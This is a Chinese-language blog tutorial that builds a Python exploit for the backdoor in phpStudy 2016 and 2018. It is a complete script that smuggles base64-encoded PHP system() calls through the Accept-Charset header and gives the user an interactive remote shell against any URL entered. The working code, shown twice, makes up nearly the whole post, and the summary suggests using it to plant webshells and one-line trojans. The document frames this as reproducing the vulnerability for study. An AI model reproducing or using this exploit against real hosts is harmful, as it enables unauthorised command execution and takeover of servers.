前言
本章主要针对phpStudy_2016_2018_RCE 漏洞编写EXP,复现该漏洞利用过程。文中内容涉及技术仅供个人学习参考。
关于phpStudy_2016_2018_RCE 漏洞的详细介绍参考:https://editor.csdn.net/md/?articleId=120443475
一、phpStudy_2016-2018存在什么漏洞
phpStudy_2016-2018中存在RCE(remote command/code execute)远程指令执行漏洞,即攻击者可以远程控制目标执行任意指令。
二、EXP脚本编写
1.目标存活检测
代码如下:
def judge():
j = ''
for i in range(18):
j +=random.choice(string.digits + string.ascii_letters)
return j
#初始化
def main(url):
flag1 = judge()
cmd = "echo " + flag1
flag2 = rce(url, cmd)
if flag1 in flag2 :
print("[+] Target is enable!")
while True:
cmd = input("[*] cmd >")
if cmd == "q" or cmd == "":
break
print(rce(url, cmd))
else:
print("[+] Target is not enable! exit 3s later")
sleep(3)
exit()
2.漏洞触发
代码如下:
#向目标提交请求,漏洞触发。
def rce(url,cmd):
cmd = base64.b64encode("system('{}');".format(cmd).encode()).decode()
headers = {
'Accept-Charset': cmd,#请求头中提交参数,触发漏洞。
'Accept-Encoding':'gzip,deflate',#请求头中提交参数,触发漏洞。
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284'
} #浏览器指纹
res = requests.get(url = url ,headers=headers)
print(res.status_code)
if res.status_code == 200: #判断是否能与目标正常通信
bof = 0
eof = res.content.index(b"<!DOCTYPE html") #将回复内容转化为二进制字符
k = (res.content[bof:eof].decode("gbk"))
return k
else:
exit("error url!")
3.完整代码
代码如下:
'''
author : meark
date : 2021-9-16
message : phpstudy
information :phpstudy RCE漏洞利用复现
'''
import requests
import base64
import string
import random
from time import sleep
#向目标提交请求,漏洞触发。
def rce(url,cmd):
cmd = base64.b64encode("system('{}');".format(cmd).encode()).decode()
headers = {
'Accept-Charset': cmd,#请求头中提交参数,触发漏洞。
'Accept-Encoding':'gzip,deflate',#请求头中提交参数,触发漏洞。
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284'
} #浏览器指纹
res = requests.get(url = url ,headers=headers)
print(res.status_code)
if res.status_code == 200: #判断是否能与目标正常通信
bof = 0
eof = res.content.index(b"<!DOCTYPE html") #将回复内容转化为二进制字符
k = (res.content[bof:eof].decode("gbk"))
return k
else:
exit("error url!")
# 生成随机数与目标返回的字符对比,判断目标是否在线。
def judge():
j = ''
for i in range(18):
j +=random.choice(string.digits + string.ascii_letters)
return j
#初始化
def main(url):
flag1 = judge()
cmd = "echo " + flag1
flag2 = rce(url, cmd)
if flag1 in flag2 :
print("[+] Target is enable!")
while True:
cmd = input("[*] cmd >")
if cmd == "q" or cmd == "":
break
print(rce(url, cmd))
else:
print("[+] Target is not enable! exit 3s later")
sleep(3)
exit()
if __name__ == "__main__":
url = input("Enter an url :")
print("[+] Testing url:{}".format(url))
print('-----------------')
main(url)
总结
2016和2018版本的phpstudy被植入后门后,通过向目标提交GET请求,可以调用php system函数执行系统命令。也可以通过system函数在目标本地生成webshell、一句话木马等。